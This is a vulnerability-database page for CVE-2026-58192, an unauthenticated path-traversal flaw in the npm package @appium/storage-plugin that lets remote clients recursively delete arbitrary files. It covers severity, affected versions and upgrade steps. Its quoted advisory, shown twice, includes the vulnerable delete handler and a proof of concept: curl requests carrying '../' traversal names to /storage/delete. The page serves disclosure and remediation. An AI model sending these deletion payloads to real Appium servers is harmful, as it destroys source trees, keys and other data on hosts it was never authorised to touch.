Vulnerabilities in pkg:npm/@appium/storage-plugin

PACKAGE
Advisory Identifier: GHSA-jwgx-mp9m-jwcr
Advisory Summary

CVE-2026-58192 is a HIGH (CVSS 8.6) appium allows unauthenticated arbitrary file/directory vulnerability (CWE-73: External Control of File Name or Path) affecting @appium/storage plugin libraries in the npm ecosystem. The issue involves appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin. Remediation is available by upgrading affected packages to version 1.1.6.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@appium/storage-plugin

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@appium/storage-plugin. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-jwgx-mp9m-jwcr CVE-2026-58192 HIGH appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin

CVE-2026-58192 at a Glance

CVE Identifier CVE-2026-58192
GHSA Identifier GHSA-jwgx-mp9m-jwcr
Severity HIGH
CVSS v3.1 Base Score 8.6
CWE Classification CWE-73: External Control of File Name or Path
Affected Product @appium/storage plugin
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-58192

To remediate this vulnerability, upgrade all affected @appium/storage plugin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@appium/storage-plugin fixed: 1.1.6
npm install @appium/storage-plugin@1.1.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @appium/storage-plugin

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-58192, inspect your project dependencies using npm:

npm ls @appium/storage-plugin

Analyze the terminal output to locate any version of @appium/storage plugin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.6), your application is affected.

Note: The npm ls @appium/storage-plugin command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In @appium/storage plugin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem. The same plugin's *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous. ### Details Published build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`): - `packages/storage-plugin/lib/storage.ts:65-75` — `Storage.delete()`: ```ts async delete(name: string): Promise<boolean> { if (name.toLowerCase().endsWith(TMP_EXT)) { return false; } const destinationPath = path.join(this._root, name); // <-- no sanitization if (!(await fs.exists(destinationPath))) { return false; } await fs.rimraf(destinationPath); // <-- recursive delete return true; } ``` - `packages/storage-plugin/lib/plugin.ts:77-83` — handler passes raw body: ```ts STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) { return await executeStorageMethod( async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name), ); }; ``` `parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does **not** validate the value. - Contrast — the upload path *does* sanitize: `storage.ts:53-54` `add()` → `requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely. ### PoC 1. Install and start the server with the storage plugin: ```sh npm install appium@3.5.0 ./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin ./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723 ``` (Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.) 2. Plant a victim file/dir outside the storage root, then delete via traversal: ```sh mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt echo single > /tmp/pv_file.txt curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_file.txt"}' # -> {"value":true} curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_dir"}' # -> {"value":true} ``` <img width="2182" height="678" alt="image" src="https://github.com/user-attachments/assets/a4984132-3334-41c5-9a29-12ec59461d25" /> ### Impact An unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.

CVE-2026-58192 Affected @appium/storage plugin Versions

1 component(s)
Fixed Versions:
1.1.6
Product / Package Ecosystem Affected Versions Fixed Version
@appium/storage-plugin
npm
< 1.1.6
1.1.6

References

Frequently Asked Questions

What is CVE-2026-58192?
CVE-2026-58192 is a security vulnerability in @appium/storage plugin involving appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin under CWE-73: External Control of File Name or Path.
Which @appium/storage plugin versions are affected?
Affected versions include releases prior to 1.1.6 across affected packages: @appium/storage-plugin.
What version fixes CVE-2026-58192?
Upgrading to 1.1.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @appium/storage-plugin affected?
Yes, @appium/storage-plugin is affected in releases prior to 1.1.6. Upgrade your dependency to 1.1.6 or later.
What is the CVSS score of CVE-2026-58192?
CVE-2026-58192 has a CVSS v3.1 base score of 8.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N.
What CWE is associated with CVE-2026-58192?
CVE-2026-58192 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check npm dependencies for CVE-2026-58192?
Run the dependency tree command: 'npm ls @appium/storage-plugin'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jwgx-mp9m-jwcr",
  "modified" : "2026-11-20T14:34:30Z",
  "published" : "2026-11-20T14:34:30Z",
  "aliases" : [ "CVE-2026-58192" ],
  "summary" : "appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin",
  "details" : "## Summary\n\nThe Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem.\n\nThe same plugin's *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous.\n\n\n### Details\n\nPublished build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`):\n\n- `packages/storage-plugin/lib/storage.ts:65-75` — `Storage.delete()`:\n  ```ts\n  async delete(name: string): Promise<boolean> {\n    if (name.toLowerCase().endsWith(TMP_EXT)) {\n      return false;\n    }\n    const destinationPath = path.join(this._root, name);   // <-- no sanitization\n    if (!(await fs.exists(destinationPath))) {\n      return false;\n    }\n    await fs.rimraf(destinationPath);                       // <-- recursive delete\n    return true;\n  }\n  ```\n- `packages/storage-plugin/lib/plugin.ts:77-83` — handler passes raw body:\n  ```ts\n  STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) {\n    return await executeStorageMethod(\n      async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name),\n    );\n  };\n  ```\n`parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does **not** validate the value.\n- Contrast — the upload path *does* sanitize: `storage.ts:53-54` `add()` →\n`requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely.\n\n### PoC\n\n1. Install and start the server with the storage plugin:\n   ```sh\n   npm install appium@3.5.0\n   ./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin\n   ./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723\n   ```\n(Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.)\n\n2. Plant a victim file/dir outside the storage root, then delete via traversal:\n   ```sh\n   mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt\n   echo single > /tmp/pv_file.txt\n\n   curl -s -X POST http://127.0.0.1:4723/storage/delete \\\n     -H 'Content-Type: application/json' \\\n     -d '{\"name\":\"../../../../../../../../../../tmp/pv_file.txt\"}'\n   # -> {\"value\":true}\n\n   curl -s -X POST http://127.0.0.1:4723/storage/delete \\\n     -H 'Content-Type: application/json' \\\n     -d '{\"name\":\"../../../../../../../../../../tmp/pv_dir\"}'\n   # -> {\"value\":true}\n   ```\n\n<img width=\"2182\" height=\"678\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a4984132-3334-41c5-9a29-12ec59461d25\" />\n\n\n### Impact\n\nAn unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@appium/storage-plugin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/appium/appium/security/advisories/GHSA-jwgx-mp9m-jwcr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-58192"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/appium/appium/pull/22362"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/appium/appium/commit/5fee01752f2782e96fbe64fd13520b433d4a7535"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/appium/appium"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/appium/appium/releases/tag/%40appium/storage-plugin%401.1.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-20T14:34:30Z",
    "nvd_published_at" : "2026-07-08T21:16:52Z"
  }
}